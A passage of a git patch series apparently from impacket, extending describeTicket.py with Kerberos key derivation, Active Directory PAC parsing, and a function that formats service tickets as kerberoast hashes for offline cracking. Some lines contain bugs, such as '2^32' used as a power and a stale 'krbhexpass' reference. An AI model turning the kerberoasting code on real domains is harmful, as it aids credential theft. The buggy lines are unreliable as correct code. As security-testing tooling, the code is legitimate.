# else: + # hexdump(data) + + if logging.getLogger().level == logging.DEBUG: + print("#" * 80) + + buff = buff[len(infoBuffer):] + +def generate_kerberos_keys(args): + # copypasta from krbrelayx.py + # Store Kerberos keys + keys = {} + if args.hashes: + keys[int(constants.EncryptionTypes.rc4_hmac.value)] = unhexlify(args.hashes.split(':')[1]) + if args.aesKey: + if len(args.aesKey) == 64: + keys[int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value)] = unhexlify(args.aesKey) + else: + keys[int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value)] = unhexlify(args.aesKey) + ekeys = {} + for kt, key in keys.items(): + ekeys[kt] = Key(kt, key) + + allciphers = [ + int(constants.EncryptionTypes.rc4_hmac.value), + int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), + int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value) + ] + + # Calculate Kerberos keys from specified password/salt + if args.password or args.hexpass: + if not args.salt and args.user and args.domain: # https://www.thehacker.recipes/ad/movement/kerberos + if args.user.endswith('$'): + args.salt = "%shost%s.%s" % (args.domain.upper(), args.user.rstrip('$').lower(), args.domain.lower()) + else: + args.salt = "%s%s" % (args.domain.upper(), args.user) + for cipher in allciphers: + if cipher == 23 and args.hexpass: + # RC4 calculation is done manually for raw passwords + md4 = MD4.new() + md4.update(unhexlify(args.krbhexpass)) + ekeys[cipher] = Key(cipher, md4.digest().decode('utf-8')) + else: + # Do conversion magic for raw passwords + if args.hexpass: + rawsecret = unhexlify(args.krbhexpass).decode('utf-16-le', 'replace').encode('utf-8', 'replace') + else: + # If not raw, it was specified from the command line, assume it's not UTF-16 + rawsecret = args.password + ekeys[cipher] = string_to_key(cipher, rawsecret, args.salt) + logging.debug('Calculated type %s (%d) Kerberos key: %s' % (constants.EncryptionTypes(cipher).name, cipher, hexlify(ekeys[cipher].contents).decode('utf-8'))) + return ekeys + + +def kerberoast_from_ccache(decodedTGS, spn, username, domain): + try: + if not domain: + domain = decodedTGS['ticket']['realm'].upper() + else: + domain = domain.upper() + + if not username: + username = "USER" + + username = username.rstrip('$') + + # Copy-pasta from GestUserSPNs.py + if decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.rc4_hmac.value: + entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % ( + constants.EncryptionTypes.rc4_hmac.value, username, domain, spn.replace(':', '~'), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode()) + elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value: + entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % ( + constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, username, domain, spn.replace(':', '~'), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode) + elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value: + entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % ( + constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value, username, domain, spn.replace(':', '~'), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode()) + elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.des_cbc_md5.value: + entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % ( + constants.EncryptionTypes.des_cbc_md5.value, username, domain, spn.replace(':', '~'), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode()) + else: + logging.debug('Skipping %s/%s due to incompatible e-type %d' % ( + decodedTGS['ticket']['sname']['name-string'][0], decodedTGS['ticket']['sname']['name-string'][1], + decodedTGS['ticket']['enc-part']['etype'])) + return entry + except Exception as e: + logging.debug("Not able to parse ticket: %s" % e) + def parse_args(): parser = argparse.ArgumentParser(add_help=True, description='Ticket describor') @@ -61,14 +262,14 @@ def parse_args(): parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') # Authentication arguments - group = parser.add_argument_group('Kerberos Keys (of your account with unconstrained delegation)') - group.add_argument('-p', '--krbpass', action="store", metavar="PASSWORD", help='Account password') - group.add_argument('-hp', '--krbhexpass', action="store", metavar="HEXPASSWORD", help='Hex-encoded password') - group.add_argument('-s', '--krbsalt', action="store", metavar="USERNAME", help='Case sensitive (!) salt. Used to calculate Kerberos keys.' - 'Only required if specifying password instead of keys.') - group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') - group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication ' - '(128 or 256 bits)') + group = parser.add_argument_group('Some account information') + group.add_argument('-p', '--password', action="store", metavar="PASSWORD", help='placeholder') + group.add_argument('-hp', '--hexpass', dest='hexpass', action="store", metavar="PASSWORD", help='placeholder') + group.add_argument('-u', '--user', action="store", metavar="USER", help='placeholder') # used for kerberoast_from_ccache() + group.add_argument('-d', '--domain', action="store", metavar="DOMAIN", help='placeholder') # used for kerberoast_from_ccache() + group.add_argument('-s', '--salt', action="store", metavar="SALT", help='placeholder') + group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='placeholder') + group.add_argument('-aesKey', action="store", metavar="hex key", help='placeholder') if len(sys.argv) == 1: parser.print_help() sys.exit(1) @@ -95,7 +296,7 @@ def main(): init_logger(args) try: - parse_ccache(args.ticket) + parse_ccache(args) except Exception as e: if logging.getLogger().level == logging.DEBUG: traceback.print_exc() From 386e50fb20ccd071c0a99499b793bb25a7f6a284 Mon Sep 17 00:00:00 2001 From: Podalirius <79218792+p0dalirius@users.noreply.github.com> Date: Wed, 27 Oct 2021 01:16:00 +0200 Subject: [PATCH 009/152] Update describeTicket.py --- examples/describeTicket.py | 192 ++++++++++++++++++++++++++++--------- 1 file changed, 148 insertions(+), 44 deletions(-) diff --git a/examples/describeTicket.py b/examples/describeTicket.py index 4ff467f6f4..1c43427162 100755 --- a/examples/describeTicket.py +++ b/examples/describeTicket.py @@ -14,12 +14,14 @@ # Remi Gascou (@podalirius_) # Charlie Bromberg (@_nwodtuhs) +import json import logging import sys import traceback import argparse +import binascii from Cryptodome.Hash import MD4 -from datetime import datetime +import datetime import base64 from binascii import unhexlify, hexlify from pyasn1.codec.der import decoder @@ -30,7 +32,8 @@ from impacket.krb5.asn1 import TGS_REP, EncTicketPart, AD_IF_RELEVANT from impacket.krb5.ccache import CCache from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum, string_to_key -from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, KERB_VALIDATION_INFO, PAC_SERVER_CHECKSUM, PAC_SIGNATURE_DATA +from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, KERB_VALIDATION_INFO, PAC_SERVER_CHECKSUM, PAC_SIGNATURE_DATA, PAC_LOGON_INFO, PAC_CLIENT_INFO_TYPE, PAC_CLIENT_INFO, PAC_PRIVSVR_CHECKSUM, PAC_UPN_DNS_INFO, UPN_DNS_INFO + def parse_ccache(args): ccache = CCache.loadFile(args.ticket) @@ -46,9 +49,9 @@ def parse_ccache(args): spn = creds['server'].prettyPrint().split(b'@')[0].decode('utf-8') logging.info("%-25s: %s" % ("ServiceName", spn)) logging.info("%-25s: %s" % ("ServiceRealm", creds['server'].prettyPrint().split(b'@')[1].decode('utf-8'))) - logging.info("%-25s: %s" % ("StartTime", datetime.fromtimestamp(creds['time']['starttime']).strftime("%d/%m/%Y %H:%H:%S %p"))) - logging.info("%-25s: %s" % ("EndTime", datetime.fromtimestamp(creds['time']['endtime']).strftime("%d/%m/%Y %H:%H:%S %p"))) - logging.info("%-25s: %s" % ("RenewTill", datetime.fromtimestamp(creds['time']['renew_till']).strftime("%d/%m/%Y %H:%H:%S %p"))) + logging.info("%-25s: %s" % ("StartTime", datetime.datetime.fromtimestamp(creds['time']['starttime']).strftime("%d/%m/%Y %H:%H:%S %p"))) + logging.info("%-25s: %s" % ("EndTime", datetime.datetime.fromtimestamp(creds['time']['endtime']).strftime("%d/%m/%Y %H:%H:%S %p"))) + logging.info("%-25s: %s" % ("RenewTill", datetime.datetime.fromtimestamp(creds['time']['renew_till']).strftime("%d/%m/%Y %H:%H:%S %p"))) flags = [] for k in constants.TicketFlags: @@ -115,56 +118,158 @@ def parse_ccache(args): adIfRelevant = decoder.decode(encTicketPart['authorization-data'][0]['ad-data'], asn1Spec=AD_IF_RELEVANT())[0] # So here we have the PAC pacType = PACTYPE(adIfRelevant[0]['ad-data'].asOctets()) - parse_pac(pacType) + parsed_pac = parse_pac(pacType) + logging.info(" %-23s:" % ("LogonInfo")) + logging.info(" %-21s: %s" % ("LogonTime", parsed_pac[0]["LogonTime"])) + logging.info(" %-21s: %s" % ("LogoffTime", parsed_pac[0]["LogoffTime"])) + logging.info(" %-21s: %s" % ("KickOffTime", parsed_pac[0]["KickOffTime"])) + logging.info(" %-21s: %s" % ("PasswordLastSet", parsed_pac[0]["PasswordLastSet"])) + logging.info(" %-21s: %s" % ("PasswordCanChange", parsed_pac[0]["PasswordCanChange"])) + logging.info(" %-21s: %s" % ("PasswordMustChange", parsed_pac[0]["PasswordMustChange"])) + logging.info(" %-21s: %s" % ("EffectiveName", parsed_pac[0]["EffectiveName"])) + logging.info(" %-21s: %s" % ("FullName", parsed_pac[0]["FullName"])) + logging.info(" %-21s: %s" % ("LogonScript", parsed_pac[0]["LogonScript"])) + logging.info(" %-21s: %s" % ("ProfilePath", parsed_pac[0]["ProfilePath"])) + logging.info(" %-21s: %s" % ("HomeDirectory", parsed_pac[0]["HomeDirectory"])) + logging.info(" %-21s: %s" % ("HomeDirectoryDrive", parsed_pac[0]["HomeDirectoryDrive"])) + logging.info(" %-21s: %s" % ("LogonCount", parsed_pac[0]["LogonCount"])) + logging.info(" %-21s: %s" % ("BadPasswordCount", parsed_pac[0]["BadPasswordCount"])) + logging.info(" %-21s: %s" % ("UserId", parsed_pac[0]["UserId"])) + logging.info(" %-21s: %s" % ("PrimaryGroupId", parsed_pac[0]["PrimaryGroupId"])) + logging.info(" %-21s: %s" % ("GroupCount", parsed_pac[0]["GroupCount"])) + logging.info(" %-21s: %s" % ("Groups", ', '.join([str(gid['RelativeId']) for gid in parsed_pac[0]["GroupIds"]]))) + logging.info(" %-21s: %s" % ("UserFlags", parsed_pac[0]["UserFlags"])) + logging.info(" %-21s: %s" % ("UserSessionKey", parsed_pac[0]["UserSessionKey"])) + logging.info(" %-21s: %s" % ("LogonServer", parsed_pac[0]["LogonServer"])) + logging.info(" %-21s: %s" % ("LogonDomainName", parsed_pac[0]["LogonDomainName"])) + logging.info(" %-21s: %s" % ("LogonDomainId", parsed_pac[0]["LogonDomainId"])) + # Todo parse UserAccountControl + logging.info(" %-21s: %s" % ("UserAccountControl", parsed_pac[0]["UserAccountControl"])) + logging.info(" %-21s: %s" % ("ExtraSIDs", ', '.join([sid for sid in parsed_pac[0]["ExtraSids"]]))) + logging.info(" %-21s: %s" % ("ResourceGroupCount", parsed_pac[0]["ResourceGroupCount"])) def parse_pac(pacType): + def format_sid(data): + return "S-%d-%d-%d-%s" % (data['Revision'], data['IdentifierAuthority'], data['SubAuthorityCount'], '-'.join([str(e) for e in data['SubAuthority']])) + def PACinfiniteData(obj): + while 'fields' in dir(obj): + if 'Data' in obj.fields.keys(): + obj = obj.fields['Data'] + else: + return obj.fields + return obj + def PACparseFILETIME(data): + # FILETIME structure (minwinbase.h) + # Contains a 64-bit value representing the number of 100-nanosecond intervals since January 1, 1601 (UTC). + # https://docs.microsoft.com/en-us/windows/win32/api/minwinbase/ns-minwinbase-filetime + v_ticks = PACinfiniteData(data['dwLowDateTime']) + 2^32 * PACinfiniteData(data['dwHighDateTime']) + v_FILETIME = datetime.datetime(1601, 1, 1, 0, 0, 0) + datetime.timedelta(seconds=v_ticks/ 1e7) + return v_FILETIME + def PACparseGroupIds(data): + groups = [] + for group in PACinfiniteData(data): + groupMembership = {} + groupMembership['RelativeId'] = PACinfiniteData(group.fields['RelativeId']) + groupMembership['Attributes'] = PACinfiniteData(group.fields['Attributes']) + groups.append(groupMembership) + return groups + def PACparseSID(sid): + str_sid = format_sid({ + 'Revision': PACinfiniteData(sid['Revision']), + 'SubAuthorityCount': PACinfiniteData(sid['SubAuthorityCount']), + 'IdentifierAuthority': int(binascii.hexlify(PACinfiniteData(sid['IdentifierAuthority'])), 16), + 'SubAuthority': PACinfiniteData(sid['SubAuthority']) + }) + return str_sid + def PACparseExtraSids(data): + _ExtraSids = [] + for sid in PACinfiniteData(PACinfiniteData(data.fields)['Data']): + _d = { 'Attributes': PACinfiniteData(sid.fields['Attributes']), 'Sid': PACparseSID(sid.fields['Sid']) } + _ExtraSids.append(_d['Sid']) + return _ExtraSids + def PACparseResourceGroupDomainSid(data): + data = { + 'Revision': PACinfiniteData(data['Revision']), + 'SubAuthorityCount': PACinfiniteData(data['SubAuthorityCount']), + 'IdentifierAuthority': int(binascii.hexlify(data['IdentifierAuthority']), 16), + 'SubAuthority': PACinfiniteData(data['SubAuthority']) + } + return data + # + parsed_tuPAC = [] + # buff = pacType['Buffers'] - + infoBuffer = PAC_INFO_BUFFER(buff) for bufferN in range(pacType['cBuffers']): - infoBuffer = PAC_INFO_BUFFER(buff) - data = pacType['Buffers'][infoBuffer['Offset'] - 8:][:infoBuffer['cbBufferSize']] - if logging.getLogger().level == logging.DEBUG: - print("TYPE 0x%x" % infoBuffer['ulType']) - if infoBuffer['ulType'] == 1: + data = pacType['Buffers'][infoBuffer['Offset']-8:][:infoBuffer['cbBufferSize']] + if infoBuffer['ulType'] == PAC_LOGON_INFO: type1 = TypeSerialization1(data) - # I'm skipping here 4 bytes with its the ReferentID for the pointer - newdata = data[len(type1) + 4:] + newdata = data[len(type1)+4:] kerbdata = KERB_VALIDATION_INFO() kerbdata.fromString(newdata) kerbdata.fromStringReferents(newdata[len(kerbdata.getData()):]) - # kerbdata.dump() - print() - print('Domain SID:', kerbdata['LogonDomainId'].formatCanonical()) - print() - # elif infoBuffer['ulType'] == PAC_CLIENT_INFO_TYPE: - # clientInfo = PAC_CLIENT_INFO(data) - # if logging.getLogger().level == logging.DEBUG: - # clientInfo.dump() - # print() + parsed_data = {} + + parsed_data['EffectiveName'] = PACinfiniteData(kerbdata.fields['EffectiveName']).decode('utf-16-le') + parsed_data['FullName'] = PACinfiniteData(kerbdata.fields['FullName']).decode('utf-16-le') + parsed_data['LogonScript'] = PACinfiniteData(kerbdata.fields['LogonScript']).decode('utf-16-le') + parsed_data['ProfilePath'] = PACinfiniteData(kerbdata.fields['ProfilePath']).decode('utf-16-le') + parsed_data['HomeDirectory'] = PACinfiniteData(kerbdata.fields['HomeDirectory']).decode('utf-16-le') + parsed_data['HomeDirectoryDrive'] = PACinfiniteData(kerbdata.fields['HomeDirectoryDrive']).decode('utf-16-le') + parsed_data['LogonCount'] = PACinfiniteData(kerbdata.fields['LogonCount']) + parsed_data['BadPasswordCount'] = PACinfiniteData(kerbdata.fields['BadPasswordCount']) + parsed_data['UserId'] = PACinfiniteData(kerbdata.fields['UserId']) + parsed_data['PrimaryGroupId'] = PACinfiniteData(kerbdata.fields['PrimaryGroupId']) + parsed_data['UserFlags'] = PACinfiniteData(kerbdata.fields['UserFlags']) + parsed_data['UserSessionKey'] = hexlify(PACinfiniteData(kerbdata.fields['UserSessionKey'])).decode('utf-8') + parsed_data['LogonServer'] = PACinfiniteData(kerbdata.fields['LogonServer']).decode('utf-16-le') + parsed_data['LogonDomainName'] = PACinfiniteData(kerbdata.fields['LogonDomainName']).decode('utf-16-le') + parsed_data['LogonDomainId'] = PACparseSID(PACinfiniteData(kerbdata.fields['LogonDomainId'])) + parsed_data['LMKey'] = hexlify(PACinfiniteData(kerbdata.fields['LMKey'])).decode('utf-8') + parsed_data['UserAccountControl'] = PACinfiniteData(kerbdata.fields['UserAccountControl']) + parsed_data['SubAuthStatus'] = PACinfiniteData(kerbdata.fields['SubAuthStatus']) + parsed_data['LastSuccessfulILogon'] = PACparseFILETIME(kerbdata.fields['LastSuccessfulILogon']) + parsed_data['LastFailedILogon'] = PACparseFILETIME(kerbdata.fields['LastFailedILogon']) + parsed_data['FailedILogonCount'] = PACinfiniteData(kerbdata.fields['FailedILogonCount']) + parsed_data['Reserved3'] = PACinfiniteData(kerbdata.fields['Reserved3']) + parsed_data['LogonTime'] = PACparseFILETIME(kerbdata.fields['LogonTime']) + parsed_data['LogoffTime'] = PACparseFILETIME(kerbdata.fields['LogoffTime']) + parsed_data['KickOffTime'] = PACparseFILETIME(kerbdata.fields['KickOffTime']) + parsed_data['PasswordLastSet'] = PACparseFILETIME(kerbdata.fields['PasswordLastSet']) + parsed_data['PasswordCanChange'] = PACparseFILETIME(kerbdata.fields['PasswordCanChange']) + parsed_data['PasswordMustChange'] = PACparseFILETIME(kerbdata.fields['PasswordMustChange']) + parsed_data['GroupCount'] = PACinfiniteData(kerbdata.fields['GroupCount']) + parsed_data['GroupIds'] = PACparseGroupIds(kerbdata.fields['GroupIds']) + parsed_data['SidCount'] = PACinfiniteData(kerbdata.fields['SidCount']) + parsed_data['ExtraSids'] = PACparseExtraSids(kerbdata.fields['ExtraSids']) + parsed_data['ResourceGroupDomainSid'] = PACparseResourceGroupDomainSid(kerbdata.fields['ResourceGroupDomainSid']) + parsed_data['ResourceGroupCount'] = PACinfiniteData(kerbdata.fields['ResourceGroupCount']) + parsed_data['ResourceGroupIds'] = PACparseGroupIds(kerbdata.fields['ResourceGroupIds']) + + parsed_tuPAC.append(parsed_data) + elif infoBuffer['ulType'] == PAC_CLIENT_INFO_TYPE: + type1 = TypeSerialization1(data) + # TODO: Not implemented + print(dir(type1)) + pass elif infoBuffer['ulType'] == PAC_SERVER_CHECKSUM: + clientInfo = PAC_CLIENT_INFO(data) + # TODO: Not implemented + print(dir(clientInfo)) + pass + elif infoBuffer['ulType'] == PAC_PRIVSVR_CHECKSUM: signatureData = PAC_SIGNATURE_DATA(data) - if logging.getLogger().level == logging.DEBUG: - signatureData.dump() - print() - # elif infoBuffer['ulType'] == PAC_PRIVSVR_CHECKSUM: - # signatureData = PAC_SIGNATURE_DATA(data) - # if logging.getLogger().level == logging.DEBUG: - # signatureData.dump() - # print() - # elif infoBuffer['ulType'] == PAC_UPN_DNS_INFO: - # upn = UPN_DNS_INFO(data) - # if logging.getLogger().level == logging.DEBUG: - # upn.dump() - # print(data[upn['DnsDomainNameOffset']:]) - # print() - # else: - # hexdump(data) - - if logging.getLogger().level == logging.DEBUG: - print("#" * 80) + # TODO: Not implemented + print(dir(signatureData)) + pass + elif infoBuffer['ulType'] == PAC_UPN_DNS_INFO: + upn = UPN_DNS_INFO(data) + # TODO: Not implemented + print(dir(upn)) + pass + return parsed_tuPAC - buff = buff[len(infoBuffer):] def generate_kerberos_keys(args): # copypasta from krbrelayx.py @@ -304,4 +409,3 @@ def main(): if __name__ == '__main__': main() - From ad5b10ca5e4a1e1d18d5bbd7aef232fda693318b Mon Sep 17 00:00:00 2001 From: Shutdown Date: Thu, 28 Oct 2021 13:18:50 +0200 Subject: [PATCH 010/152] Added PAC structures --- examples/describeTicket.py | 171 ++++++++++++++++++++++++------------- 1 file changed, 110 insertions(+), 61 deletions(-) diff --git a/examples/describeTicket.py b/examples/describeTicket.py index 1c43427162..6a2423a0f0 100755 --- a/examples/describeTicket.py +++ b/examples/describeTicket.py @@ -24,6 +24,8 @@ import datetime import base64 from binascii import unhexlify, hexlify + +from impacket.krb5.constants import ChecksumTypes from pyasn1.codec.der import decoder from impacket import LOG, version from impacket.examples import logger @@ -32,7 +34,8 @@ from impacket.krb5.asn1 import TGS_REP, EncTicketPart, AD_IF_RELEVANT from impacket.krb5.ccache import CCache from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum, string_to_key -from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, KERB_VALIDATION_INFO, PAC_SERVER_CHECKSUM, PAC_SIGNATURE_DATA, PAC_LOGON_INFO, PAC_CLIENT_INFO_TYPE, PAC_CLIENT_INFO, PAC_PRIVSVR_CHECKSUM, PAC_UPN_DNS_INFO, UPN_DNS_INFO +from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, KERB_VALIDATION_INFO, PAC_SERVER_CHECKSUM, PAC_SIGNATURE_DATA, PAC_LOGON_INFO, PAC_CLIENT_INFO_TYPE, PAC_CLIENT_INFO, \ + PAC_PRIVSVR_CHECKSUM, PAC_UPN_DNS_INFO, UPN_DNS_INFO, PAC_CREDENTIALS_INFO, PAC_DELEGATION_INFO, S4U_DELEGATION_INFO def parse_ccache(args): @@ -118,35 +121,54 @@ def parse_ccache(args): adIfRelevant = decoder.decode(encTicketPart['authorization-data'][0]['ad-data'], asn1Spec=AD_IF_RELEVANT())[0] # So here we have the PAC pacType = PACTYPE(adIfRelevant[0]['ad-data'].asOctets()) + # TODO : cycle through dict instead of line by line? Filter on type, if it list, for parsed_pac['LogonInfo']["GroupIds"] & parsed_pac['LogonInfo']["ExtraSids"] parsed_pac = parse_pac(pacType) logging.info(" %-23s:" % ("LogonInfo")) - logging.info(" %-21s: %s" % ("LogonTime", parsed_pac[0]["LogonTime"])) - logging.info(" %-21s: %s" % ("LogoffTime", parsed_pac[0]["LogoffTime"])) - logging.info(" %-21s: %s" % ("KickOffTime", parsed_pac[0]["KickOffTime"])) - logging.info(" %-21s: %s" % ("PasswordLastSet", parsed_pac[0]["PasswordLastSet"])) - logging.info(" %-21s: %s" % ("PasswordCanChange", parsed_pac[0]["PasswordCanChange"])) - logging.info(" %-21s: %s" % ("PasswordMustChange", parsed_pac[0]["PasswordMustChange"])) - logging.info(" %-21s: %s" % ("EffectiveName", parsed_pac[0]["EffectiveName"])) - logging.info(" %-21s: %s" % ("FullName", parsed_pac[0]["FullName"])) - logging.info(" %-21s: %s" % ("LogonScript", parsed_pac[0]["LogonScript"])) - logging.info(" %-21s: %s" % ("ProfilePath", parsed_pac[0]["ProfilePath"])) - logging.info(" %-21s: %s" % ("HomeDirectory", parsed_pac[0]["HomeDirectory"])) - logging.info(" %-21s: %s" % ("HomeDirectoryDrive", parsed_pac[0]["HomeDirectoryDrive"])) - logging.info(" %-21s: %s" % ("LogonCount", parsed_pac[0]["LogonCount"])) - logging.info(" %-21s: %s" % ("BadPasswordCount", parsed_pac[0]["BadPasswordCount"])) - logging.info(" %-21s: %s" % ("UserId", parsed_pac[0]["UserId"])) - logging.info(" %-21s: %s" % ("PrimaryGroupId", parsed_pac[0]["PrimaryGroupId"])) - logging.info(" %-21s: %s" % ("GroupCount", parsed_pac[0]["GroupCount"])) - logging.info(" %-21s: %s" % ("Groups", ', '.join([str(gid['RelativeId']) for gid in parsed_pac[0]["GroupIds"]]))) - logging.info(" %-21s: %s" % ("UserFlags", parsed_pac[0]["UserFlags"])) - logging.info(" %-21s: %s" % ("UserSessionKey", parsed_pac[0]["UserSessionKey"])) - logging.info(" %-21s: %s" % ("LogonServer", parsed_pac[0]["LogonServer"])) - logging.info(" %-21s: %s" % ("LogonDomainName", parsed_pac[0]["LogonDomainName"])) - logging.info(" %-21s: %s" % ("LogonDomainId", parsed_pac[0]["LogonDomainId"])) + logging.info(" %-21s: %s" % ("LogonTime", parsed_pac['LogonInfo']["LogonTime"])) + logging.info(" %-21s: %s" % ("LogoffTime", parsed_pac['LogonInfo']["LogoffTime"])) + logging.info(" %-21s: %s" % ("KickOffTime", parsed_pac['LogonInfo']["KickOffTime"])) + logging.info(" %-21s: %s" % ("PasswordLastSet", parsed_pac['LogonInfo']["PasswordLastSet"])) + logging.info(" %-21s: %s" % ("PasswordCanChange", parsed_pac['LogonInfo']["PasswordCanChange"])) + logging.info(" %-21s: %s" % ("PasswordMustChange", parsed_pac['LogonInfo']["PasswordMustChange"])) + logging.info(" %-21s: %s" % ("EffectiveName", parsed_pac['LogonInfo']["EffectiveName"])) + logging.info(" %-21s: %s" % ("FullName", parsed_pac['LogonInfo']["FullName"])) + logging.info(" %-21s: %s" % ("LogonScript", parsed_pac['LogonInfo']["LogonScript"])) + logging.info(" %-21s: %s" % ("ProfilePath", parsed_pac['LogonInfo']["ProfilePath"])) + logging.info(" %-21s: %s" % ("HomeDirectory", parsed_pac['LogonInfo']["HomeDirectory"])) + logging.info(" %-21s: %s" % ("HomeDirectoryDrive", parsed_pac['LogonInfo']["HomeDirectoryDrive"])) + logging.info(" %-21s: %s" % ("LogonCount", parsed_pac['LogonInfo']["LogonCount"])) + logging.info(" %-21s: %s" % ("BadPasswordCount", parsed_pac['LogonInfo']["BadPasswordCount"])) + logging.info(" %-21s: %s" % ("UserId", parsed_pac['LogonInfo']["UserId"])) + logging.info(" %-21s: %s" % ("PrimaryGroupId", parsed_pac['LogonInfo']["PrimaryGroupId"])) + logging.info(" %-21s: %s" % ("GroupCount", parsed_pac['LogonInfo']["GroupCount"])) + logging.info(" %-21s: %s" % ("Groups", ', '.join([str(gid['RelativeId']) for gid in parsed_pac['LogonInfo']["GroupIds"]]))) + logging.info(" %-21s: %s" % ("UserFlags", parsed_pac['LogonInfo']["UserFlags"])) + logging.info(" %-21s: %s" % ("UserSessionKey", parsed_pac['LogonInfo']["UserSessionKey"])) + logging.info(" %-21s: %s" % ("LogonServer", parsed_pac['LogonInfo']["LogonServer"])) + logging.info(" %-21s: %s" % ("LogonDomainName", parsed_pac['LogonInfo']["LogonDomainName"])) + logging.info(" %-21s: %s" % ("LogonDomainId", parsed_pac['LogonInfo']["LogonDomainId"])) # Todo parse UserAccountControl - logging.info(" %-21s: %s" % ("UserAccountControl", parsed_pac[0]["UserAccountControl"])) - logging.info(" %-21s: %s" % ("ExtraSIDs", ', '.join([sid for sid in parsed_pac[0]["ExtraSids"]]))) - logging.info(" %-21s: %s" % ("ResourceGroupCount", parsed_pac[0]["ResourceGroupCount"])) + logging.info(" %-21s: %s" % ("UserAccountControl", parsed_pac['LogonInfo']["UserAccountControl"])) + logging.info(" %-21s: %s" % ("ExtraSIDs", ', '.join([sid for sid in parsed_pac['LogonInfo']["ExtraSids"]]))) + logging.info(" %-21s: %s" % ("ResourceGroupCount", parsed_pac['LogonInfo']["ResourceGroupCount"])) + logging.info(" %-23s:" % ("ClientName")) + logging.info(" %-21s: %s" % ("Client Id", parsed_pac['ClientName']["Client Id"])) + logging.info(" %-21s: %s" % ("Client Name", parsed_pac['ClientName']["Client Name"])) + logging.info(" %-23s:" % ("DelegationInfo")) + logging.info(" %-21s: %s" % ("S4U2proxyTarget", parsed_pac['DelegationInfo']["S4U2proxyTarget"])) + logging.info(" %-21s: %s" % ("TransitedListSize", parsed_pac['DelegationInfo']["TransitedListSize"])) + logging.info(" %-21s: %s" % ("S4UTransitedServices", parsed_pac['DelegationInfo']["S4UTransitedServices"])) + logging.info(" %-23s:" % ("UpnDns")) + logging.info(" %-21s: %s" % ("DNS Domain Name", parsed_pac['UpnDns']["DNS Domain Name"])) + logging.info(" %-21s: %s" % ("UPN", parsed_pac['UpnDns']["UPN"])) + logging.info(" %-21s: %s" % ("Flags", parsed_pac['UpnDns']["Flags"])) + logging.info(" %-23s:" % ("ServerChecksum")) + logging.info(" %-21s: %s" % ("Signature Type", parsed_pac['ServerChecksum']["Signature Type"])) + logging.info(" %-21s: %s" % ("Signature", parsed_pac['ServerChecksum']["Signature"])) + logging.info(" %-23s:" % ("KDCChecksum")) + logging.info(" %-21s: %s" % ("Signature Type", parsed_pac['KDCChecksum']["Signature Type"])) + logging.info(" %-21s: %s" % ("Signature", parsed_pac['KDCChecksum']["Signature"])) + def parse_pac(pacType): @@ -200,8 +222,9 @@ def PACparseResourceGroupDomainSid(data): parsed_tuPAC = [] # buff = pacType['Buffers'] - infoBuffer = PAC_INFO_BUFFER(buff) for bufferN in range(pacType['cBuffers']): + # TODO : parse all structures + infoBuffer = PAC_INFO_BUFFER(buff) data = pacType['Buffers'][infoBuffer['Offset']-8:][:infoBuffer['cbBufferSize']] if infoBuffer['ulType'] == PAC_LOGON_INFO: type1 = TypeSerialization1(data) @@ -211,20 +234,20 @@ def PACparseResourceGroupDomainSid(data): kerbdata.fromStringReferents(newdata[len(kerbdata.getData()):]) parsed_data = {} - parsed_data['EffectiveName'] = PACinfiniteData(kerbdata.fields['EffectiveName']).decode('utf-16-le') - parsed_data['FullName'] = PACinfiniteData(kerbdata.fields['FullName']).decode('utf-16-le') - parsed_data['LogonScript'] = PACinfiniteData(kerbdata.fields['LogonScript']).decode('utf-16-le') - parsed_data['ProfilePath'] = PACinfiniteData(kerbdata.fields['ProfilePath']).decode('utf-16-le') - parsed_data['HomeDirectory'] = PACinfiniteData(kerbdata.fields['HomeDirectory']).decode('utf-16-le') - parsed_data['HomeDirectoryDrive'] = PACinfiniteData(kerbdata.fields['HomeDirectoryDrive']).decode('utf-16-le') - parsed_data['LogonCount'] = PACinfiniteData(kerbdata.fields['LogonCount']) - parsed_data['BadPasswordCount'] = PACinfiniteData(kerbdata.fields['BadPasswordCount']) - parsed_data['UserId'] = PACinfiniteData(kerbdata.fields['UserId']) - parsed_data['PrimaryGroupId'] = PACinfiniteData(kerbdata.fields['PrimaryGroupId']) - parsed_data['UserFlags'] = PACinfiniteData(kerbdata.fields['UserFlags']) - parsed_data['UserSessionKey'] = hexlify(PACinfiniteData(kerbdata.fields['UserSessionKey'])).decode('utf-8') - parsed_data['LogonServer'] = 